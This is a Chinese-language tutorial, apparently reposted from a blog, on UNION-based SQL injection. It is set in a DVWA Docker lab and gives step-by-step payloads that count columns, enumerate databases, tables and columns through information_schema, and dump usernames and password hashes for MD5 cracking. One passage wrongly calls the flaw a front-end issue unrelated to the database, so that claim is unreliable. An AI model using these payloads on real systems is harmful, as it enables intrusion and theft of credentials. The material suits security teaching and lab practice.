SQL 注入漏洞详解 - Union 注入
1）漏洞简介SQL 注入简介
SQL 注入 即是指 Web 应用程序对用户输入数据的正当性没有判定或过滤不严，攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的恣意查询，从而进一步得到相应的数据信息。
SQL 注入概念
**SQL 注入漏洞 **主要形成的原因是在数据交互中，站点针对前端的数据传入到后台处理时，没有做严酷的判定，导致其传入的“数据”拼接到 SQL 语句中后，被当作 SQL 语句的一部分执行。 从而导致数据库受损（被脱裤、被删除、乃至整个服务器权限沦陷）。
主要是开发人员在构建代码时，没有对输入边界举行安全考虑，导致攻击着可以 通过正当的输入点提交一些精心构造的语句，从而欺骗后台数据库对其举行执行，导致数据库信息泄漏的一种漏洞。
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400131-666606793.png
SQL 注入攻击流程
第一步：注入点探测
自动方式：使用 Web 漏洞扫描工具，自动举行注入点发现
手动方式：手工构造 sql inject 测试语句举行注入点发现
第二步：信息获取
通过注入点取期望得到的数据。
[*]情况信息：数据库类型，数据库版本，操作体系版本，用户信息等。
[*]数据库信息：数据库名，数据表名，表字段名，字段内容（加密内容破解）
第三步：获取权限
获取操作体系权限：通过数据库执行 Shell，上传木马
2）漏洞原理
可以通过网站存在的查询语句举行构造，为此开发者对其伤透了头脑，漏洞不但是查询，可能还存在与 API、潜伏链接、http 头数据、写入数据等。需要对数据包的结构和传递函数比较相识，建议学习的时间把数据库的日记打开，就可以查察到传递到数据库的语句是什么样子的了。
需要记住的 information_schema 数据库的 SCHEMATA、TABLES、COLUMNS。 SCHEMATA 表中存放所有数据库的名，字段名为 SCHEMA_NAME。 关键函数 database() 当前数据库名、version() 当前 mysql 版本、user() 当前 mysql 用户。
3）漏洞危害
属于危害较高的漏洞，可以获取敏感信息，修改信息，脱库，上传 Webshell，执行命令。
[*]参数用户可控：前端传给后端的参数内容是用户可以控制的。（ 输入框，URL，抓包 ）
[*]参数带入数据库查询：传入的参数拼接到 SQL 语句，且带入数据库查询。
**SQL 注入漏洞 **发生在前端，属于前端开发计划漏洞。该漏洞与后端数据库执行无关。
SQL 注入被广泛用于非法入侵网站服务器，获取网站控制权。它是应用层上的一种安全漏洞。
通常在计划存在缺陷的程序中，对用户输入的数据没有做好过滤，导致恶意用户可以构造一些SQL语句让服务器去执行，从而导致数据库中的数据被窃取，篡改，删除，以及进一步导致服务器被入侵等危害。
情况预备
docker pull sagikazarmark/dvwa
docker run -d --name dvwa -p 8081:80 -p 33060:3306 sagikazarmark/dvwahttps://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400275-716533868.png
docker exec -it dvwa /bin/bashhttps://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400245-395904475.png
show databases;
[*]information_schema：可用来访问数据库的元数据，相似于信息数据库。此中保存着 关于MySQL 服务器 所维护的所有其他数据库的信息（元数据）。如数据库名，数据库的表，表栏的数据类型与访问权限等。
4）SQL 注入分类
4.1）数字型
当输入的参数为整形时，如果存在注入漏洞，可以以为是数字型注入。
测试步骤:
1. 加单引号, URL:www.text.com/text.php?id=3'
对应的 sql: select * from table where id=3' 这时 sql 语句出错, 程序无法正常从数据库中查询出数据, 就会抛出异常; 此时可以判断大概率存在注入, 因为只有服务器将这个单引号一起当作 SQL 语句执行时才会报错.
2. 加 and 1=1, URL: www.text.com/text.php?id=3 and 1=1
对应的 sql: select * from table where id=3 and 1=1 语句执行正常, 与原始页面无任何差异;
3. 加 and 1=2, URL: www.text.com/text.php?id=3 and 1=2
对应的 sql: select * from table where id=3 and 1=2 语句可以正常执行, 但是无法查询出结果, 所以返回数据与原始网页存在差异.
[*]加单引号测试
SELECT first_name, last_name FROM users WHERE user_id = '1'';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400239-1500852606.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400242-11689889.png
[*]**加 **and 1=1 测试
如下查询到数据的状况：存在两种情况。
[*]有引号：网站把输入的 1 and 1=1 **当成字符串 **传递到后端，因隐式转换的存在，以是查询出结果。
[*]无引号：网站识别了输入的 and 1=1，做了逻辑判定。以是能查询出结果。存在 SQL 注入。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400315-138578780.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400593-1705132114.png
[*]**加 **and 1=2 测试
成功返回结果，分析输入的内容是被 当成了字符串执行（隐式转换）。并未做逻辑运算。
如果做了逻辑运算，则存在 SQL 注入漏洞。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400678-994277280.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400489-60568867.png
[*]未做隐式转换的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400607-2072473201.png
如果满足以上三点，则可以判定该 URL 存在数字型注入。
4.2）字符型
当输入的参数为字符串时，称为字符型。
字符型和数字型最大的一个区别在于，数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合的。
数字型语句：select * from table where id =3;
字符型如下：select * from table where name='admin';
因此，在构造 Payload 时 通过闭合单引号 可以成功执行语句：
实现了绕过被单引号包罗的结局
尝试输入: 1' and 1=1 ## 基于这种方法: 实现了绕过被单引号包含的结局
# 实现了在 SQL 语句层面, 输入的内容是两个正常的表达式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400558-1541917752.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400526-1868943186.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400525-480156891.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400524-1997031869.png
可以判定为：字符型注入，对参数 id 没有做任何过滤，而且用单引号闭合。
因为条件 1=1 永远为真( 恒为真 )
以是 where 查询不再限制只返回特定 user_id 的记录，**而是返回整个表的内容。**
# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;
# 闭合单引号
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400587-896842705.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400520-721200461.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400681-2130333799.png
4.3）Union 注入 （ 联合查询注入 ）
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表，从而实现将两个表的查询组合到一起，使用 UNION 或 UNION ALL。
注意：UNION 操作符选取不重复的值。如果允许重复的值，请使用 UNION ALL
select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400586-1606649307.png
select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400575-2099336571.png
推荐使用 UNION ALL，因为 UNION 会自动过滤掉字段内容重复的数据，这可能导致我们错过想查找的相关数据内容。
前提条件：页面存在显示位
MySQL 5.0 以上版本，存在一个自带的数据库名为：information_schema（重点）
information_schema 数据库中 **有三个表 **非常重要
[*]schemata：表里包罗所有数据库的名字
[*]tables：表里包罗所有数据库的所有表名，默认字段为 table_name
[*]columns：表里包罗所有数据库的所有表的所有字段名
三个列 非常重要
[*]SCHEMA_NAME：数据库名
[*]TABLE_NAME：表名
[*]COLUMN_NAME：字段名
# 爆库名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';
# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400611-1930874112.png
联合注入的过程：
[*]判定注入点
[*]判定是整型还是字符型
[*]判定列数、判定显示位
[*]获取所有数据库名
[*]获取数据库所有表名、字段名、字段中的数据重
判定 列数、判定 显示位
通过 order by** 来 得知输出的结果有几列
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400613-1739277637.png
[*]通过 order by 来 判定列数
# 正常
1' order by 2#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400608-1577170016.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400525-1837959237.png
[*]通过 union all来 判定显示位
判定 select 查询语句的 字段个数 信息，用于与后边联合查询数目做匹配
# 确定显示位
1' union all select 1,2#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400537-847492431.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400518-938728379.png
1' union all select 1,2,3#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400629-657304260.png
[*]爆出 **数据库名 **和 版本信息
select database() 得到当前数据库名称
# 爆出数据库名和版本信息
1' union all select database(),version()#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400573-1654721223.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400653-963365769.png
基于 group_concat 函数是一个非常实用的聚合函数**
用于在分组查询中将同一组内的多个值合并为一个字符串
select group_concat(first_name) from users;https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400614-1770794179.png
[*]爆出 dvwa 数据库中的 数据表
# 爆出 dvwa 数据库中有 guestbook,users 两个表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
# 加 group_concat() 函数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400580-1503264583.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400571-1608405851.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400618-91272899.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400615-1903002052.png
[*]爆出 users 表字段
# 得到 users 表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
# 加 group_concat() 函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400642-483107120.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400906-1464396816.png
[*]终极基于 我们得到的 数据库名称，数据库表名，数据库字段名
通过 联合查询 过滤到表中的 **用户名 **和 暗码信息 （ 数据信息 ）
# 得到用户名和密码
1' union select user,password from users#https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400559-1866520833.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400631-1891505179.png
MD5 解密站点（ 撞库逻辑原理 ）
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400884-1205355952.png
https://img2024.cnblogs.com/blog/2555265/202407/2555265-20240723113400665-1834397969.png
大功告成
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]